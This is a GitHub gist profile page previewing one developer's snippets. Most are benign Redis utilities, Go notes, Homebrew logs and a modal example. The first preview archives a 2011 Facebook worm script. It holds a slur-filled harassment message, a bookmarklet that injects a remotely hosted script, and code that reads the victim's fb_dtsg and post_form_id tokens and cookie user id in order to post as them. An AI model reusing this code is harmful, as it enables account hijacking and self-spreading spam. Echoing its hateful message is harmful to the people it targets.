Skip to content

Instantly share code, notes, and snippets.

View tysonmote's full-sized avatar
🤠
code cowboy

Tyson Mote tysonmote

🤠
code cowboy
View GitHub Profile
@tysonmote
tysonmote / facebook_hack.js
Created May 12, 2011 06:48
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
@tysonmote
tysonmote / keys.rb
Last active January 2, 2019 23:18
Utility functions for performing operations on large Redis keyspaces
require 'redis'
REDIS = Redis.new( url: "..." )
def each_keys_chunk( pattern = nil, &block )
opts = { count: 100 }
opts[:match] = pattern if pattern
cursor = 0
loop do
cursor, keys = REDIS.scan( cursor, opts )

Config through public attributes on struct

  • exec.Cmd
  • http.Client
  • http.Server
  • net.Client
  • net.Server

Config through NewFoo() only

### Keybase proof
I hereby claim:
* I am tysonmote on github.
* I am tyson (https://keybase.io/tyson) on keybase.
* I have a public key ASDS5Fpv6B7bMOUwPhJob1M2gptcK39m2-WAUAhWTfYKwgo
To claim this, I am signing this object:
@tysonmote
tysonmote / gist:9cda15bde7ffcb1e6b99
Last active February 13, 2017 22:49
Delete large Redis lists with Ruby and Resque
$redis = Redis.new
class SafeListDelete
@queue = :garbage_collection
BATCH_SIZE = 100
# Rename the key and queue for deletion
def self.delete(key)
newkey = "gc:lists:#{$redis.incr("gc:index")}"
@tysonmote
tysonmote / gist:5632433
Last active September 7, 2016 16:30
Stop overcomplicating things, JavaScript nerds. You need, like, 20 lines of JS, max, to do a modal window. Stop writing 500-line JS library monstrosities with painfully slow animations that break if you so much as breathe on them. Jesus.
<a href="#" data-modal="#myModal">Open</a>
<div class="modal hide" id="myModal">
<button class="close-modal">X</button>
(stuff)
</div>
~ % brew doctor
Your system is ready to brew.
~ % brew install go --cross-compile-common
==> Downloading https://go.googlecode.com/files/go1.1.2.src.tar.gz
Already downloaded: /Library/Caches/Homebrew/go-1.1.2.tar.gz
==> ./make.bash --no-clean
==> ./make.bash --no-clean
==> ./make.bash --no-clean
/private/tmp/go-OXep/go/src/cmd/5l/../ld/lib.c:661:9: error: no case matching constant switch condition '53' [-Werror]
switch(thechar){
~ % brew --config
HOMEBREW_VERSION: 0.9.4
ORIGIN: http://github.com/mxcl/homebrew.git
HEAD: c7f398392ac2c948b3e09ae4db36f7feed7aa376
HOMEBREW_PREFIX: /usr/local
HOMEBREW_CELLAR: /usr/local/Cellar
CPU: 8-core 64-bit ivybridge
OS X: 10.8.4-x86_64
Xcode: 5.0 => /Applications/Xcode5-DP6.app/Contents/Developer
CLT: 1.0.0.9000000000.1.1249367152
~ % brew install go
==> Downloading https://go.googlecode.com/files/go1.1.2.src.tar.gz
Already downloaded: /Library/Caches/Homebrew/go-1.1.2.tar.gz
==> ./make.bash --no-clean
==> Caveats
The go get command no longer allows $GOROOT as
the default destination in Go 1.1 when downloading package source.
To use the go get command, a valid $GOPATH is now required.
As a result of the previous change, the go get command will also fail
CFEngine policy files:
bundle common env {
vars:
"hosts" slist => { "foo", "bar" };
}
...
bundle agent handle_hosts {